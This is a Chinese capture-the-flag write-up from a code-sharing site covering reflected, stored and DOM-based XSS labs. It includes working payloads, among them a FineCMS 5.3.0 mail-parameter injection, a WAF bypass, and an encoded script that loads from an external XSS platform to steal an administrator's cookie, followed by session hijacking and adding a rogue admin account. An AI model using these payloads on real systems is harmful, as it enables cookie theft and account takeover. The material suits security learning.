前端渗透 XSS wp

2021-08-05 0 731

前言

  • 掌控安全里面的靶场前端渗透/XSS,学习一下!

反射型XSS

  • 环境:http://b-ref-xss-1s.lab.aqlab.cn/
  • 了解一下
  • 一般证明XSS是否存在,就是在正常页面传参然后构建参数让他弹窗就是存在XSS了
    XSS一般在什么业务场景容易遇见?
    重灾区:评论区、留言区、个人信息、订单信息等。
    针对型:站内信、网页即时通讯、私信、意见反馈。
    存在风险:搜索框、当前目录、图片属性等。
  • 遵循一个原则,见框就X

前端渗透 XSS wp

  • 发现并没有什么反应,审计元素看看代码F12

前端渗透 XSS wp

  • 输入双引号发现被转义了,那就输入单引号来闭合
1
' oninput=alert(/xss/)

前端渗透 XSS wp

  • 用转义,或者用//来注释都行
1
' oninput=alert(/xss/)

前端渗透 XSS wp

  • 接着输入一个任意字符就可以拿flag

前端渗透 XSS wp

存储型XSS

环境:http://59.63.200.79:8082/

  • 先打开看看,发现是FineCMS v5.3.0,因为提示是存储型XSS。百度一下,看看有没有相关的漏洞

前端渗透 XSS wp

  • 百度了一下,发现这个cms邮件处url有xss漏洞

payload

1
http://59.63.200.79:8082/index.php?c=mail&m=<script>alert(/xss/)</script>

前端渗透 XSS wp

  • 因为这个邮件是直接发给管理员,根据说明,所以我们得想办法窃取管理员cookie进入后台。

先找一个xss平台导航

前端渗透 XSS wp

  • 注册一个账号,然后进去创建一个新项目

前端渗透 XSS wp

  • 我们只是获取cookie,就选超强默认模块基础默认模块,有兴趣可以看看他们说明

前端渗透 XSS wp

  • 就用最短代码吧

前端渗透 XSS wp

payload

1
http://59.63.200.79:8082/index.php?c=mail&m=极限最短代码

前端渗透 XSS wp

  • 刷新一下项目页面就收到了cookie了,因为有robot自动访问后台,得到flag了。

前端渗透 XSS wp

  • 根据cms源码可以知道管理员路径是admin.php,我们尝试用cookie登陆下后台
1
2
member_cookie=d256812b83f3751716e6
member_uid=1

将这个两个cookie值加入

前端渗透 XSS wp

  • 接着我们再访问管理员页面
1
http://59.63.200.79:8082/admin.php

前端渗透 XSS wp

  • 然后就是基本操作,添加一个管理员账户,以后就不用cookie了

前端渗透 XSS wp

DOM型XSS

  • 环境:http://59.63.200.79:8014/dom_xss/
  • 注意:被waf拦截就将cookie清空

了解一些基础知识

DOM XSS注入核心代码document,程序和脚本可以通过dom接口来修改前端网页

  1. document.cookie 读取网页cookie,可设置cookie
  2. document.domain 返回当前IP
  3. document.lastModified 获得页面最后修改时间
  4. document.write 向文档中写入HTML或JS代码
  • 一打开靶场,检查了下元素,就看到document.write

前端渗透 XSS wp

  • 试了下,这个write截取浏览器后面输入的所有字符串向文档写入然后当做代码执行,因为我们访问浏览器的时候,是生成了文档页面的所以,这个dom型就是向文档中写入代码,然后被页面执行

前端渗透 XSS wp

  • 尝试一下恶意代码,估计过滤了script被waf拦截了

前端渗透 XSS wp

  • 所以有两种做法,第一种是绕过waf,因为这个waf太老了,绕了也没啥意义但是还是给个payload
1
http://59.63.200.79:8014/dom_xss/index.php/.txt?id=<img src=x onerror=alert(/dom-xss/)

前端渗透 XSS wp

  • 因为DOM型XSS也是只能在该页面插入html代码,所以这个也是反射型的一种,我们用另一种方法,因为js能解码native编码

直接去导航站长工具

前端渗透 XSS wp

  • 找到native编码互转

前端渗透 XSS wp

  • 可以直接绕过

前端渗透 XSS wp

  • 这样就会出现一个问题,反射型和dom型XSS怎么利用?一样的构造一个url让其他人点一样可以获取cookie,将我们的极限短xss代码转换为native形式

前端渗透 XSS wp

  • 测试一下是否有用,访问了一下,明显拿到我自己电脑的cookie和信息了
1
http://59.63.200.79:8014/dom_xss/?id=u003cu0073u0043u0052u0069u0050u0074u002fu0053u0072u0043u003du002fu002fu0078u0073u002eu0073u0062u002fu006fu0050u0036u0078u003e

前端渗透 XSS wp

  • 所以我们想要利用个反射型的xss得先打开建议和投诉页面http://59.63.200.79:8014/dom_xss/dom.html,然后将我们构造的恶意代码发给客服机器人,访问我们就可以获取管理员cookie

前端渗透 XSS wp

  • 刷新一下我们的xss项目平台,获取到了cookie

前端渗透 XSS wp

收藏 (0) 打赏

感谢您的支持,我会继续努力的!

打开微信扫一扫,即可进行扫码打赏哦,分享从这里开始,精彩与您同在
点赞 (0)

注:在使用本系统时,使用方必须在国家相关法律法规范围内并经过国家相关部门的授权许可,禁止用于一切非法行为。使用用途仅限于测试、实验、研究为目的,禁止用于一切商业运营,本团队不承担使用者在使用过程中的任何违法行为负责。

83源码 WEB安全 前端渗透 XSS wp https://www.83ym.com/65.html

认准唯一TG:@ym830

常见问题
  • 站内所有资源,针对不同等级VIP会员可直接下载,特殊资源商品会注明是否免费,指会员所享有根据选择购买的会员选项所享有的特殊服务,具体以本站公布的服务内容为准。
查看详情
  • 按照我国的法律规定,运营网络棋牌首先需要成立一个注册正规备案的公司,然后申请网站备案、文网文、ICP等等,这些证件缺一不可。 一.注册公司 在当地工商进行注册,公司名称以“XX科技有限公司”为名,如:富裕棋牌经营范围填写“计算机软硬件、网络设备的设计开发与购销”。 二.域名及网站备案 在国内从事网站经营活动就必须经过相关部门的备案,因此棋牌运营商在购买了域名后,就要到当地网监局办理网站备案,或者请服务器提供商代为备案。 三.申请文网文 文网文全称为网络文化经营许可证,是从事经营性互联网文化活动所必需的资质。一般是需要到当地省一级(省、直辖市、自治区)的文化行政部门提出申请,并经由当地的文化行政部门合法批准。次资质要求申请公司注册资金必需达到1000万,并提供游戏版权证明文件。 四.申请ICP ICP又称为增值电信业务许可证,所有网络游戏运营商均需要办理ICP许可证,此证件要求公司注册资金1000万,需到当地市级通讯管理局办理。 五.申请文网游——游戏备案 根据《网络游戏管理暂行办法》(文化部第49号)的规定,国产网络游戏在上网运营之日起30日内应当按规定向国务院文化行政部门履行备案手续。 以上就是网络棋牌游戏正规运营所必需的资质证明。一般作为正规有实力的棋牌游戏开发公司,不光要具备所有的正规资质,而且会对投资者、代理商等合作伙伴给予相关指导和协助,与合作伙伴携手共赢!
查看详情

相关文章

猜你喜欢
官方客服团队

为您解决烦忧 - 24小时在线 专业服务